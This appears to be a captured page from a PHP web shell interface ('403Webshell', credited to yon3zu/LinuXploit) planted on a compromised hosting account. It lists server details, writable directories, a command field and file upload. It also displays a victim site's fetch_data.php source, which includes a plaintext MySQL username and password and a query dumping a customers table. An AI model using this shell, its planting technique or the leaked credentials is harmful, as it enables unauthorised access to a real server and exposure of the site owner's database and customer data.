403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/gikuyu.online/dashb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/gikuyu.online/dashb/fetch_data.php
<?php
// Establish connection to MySQL
$servername = "localhost";
$username = "konzalta_jspractise";
$password = "Wund-2015!";
$database = "konzalta_jspractise";

$conn = new mysqli($servername, $username, $password, $database);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Fetch data from MySQL
$sql = "SELECT * FROM customers";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // Output data in a table format
    echo "<table border='1'><tr><th>ID</th><th>Name</th><th>Value</th></tr>";
    while($row = $result->fetch_assoc()) {
        echo "<tr><td>".$row["customerNumber"]."</td><td>".$row["customerName"]."</td><td>".$row["addressLine1"]."</td></tr>";
    }
    echo "</table>";
} else {
    echo "0 results";
}

$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit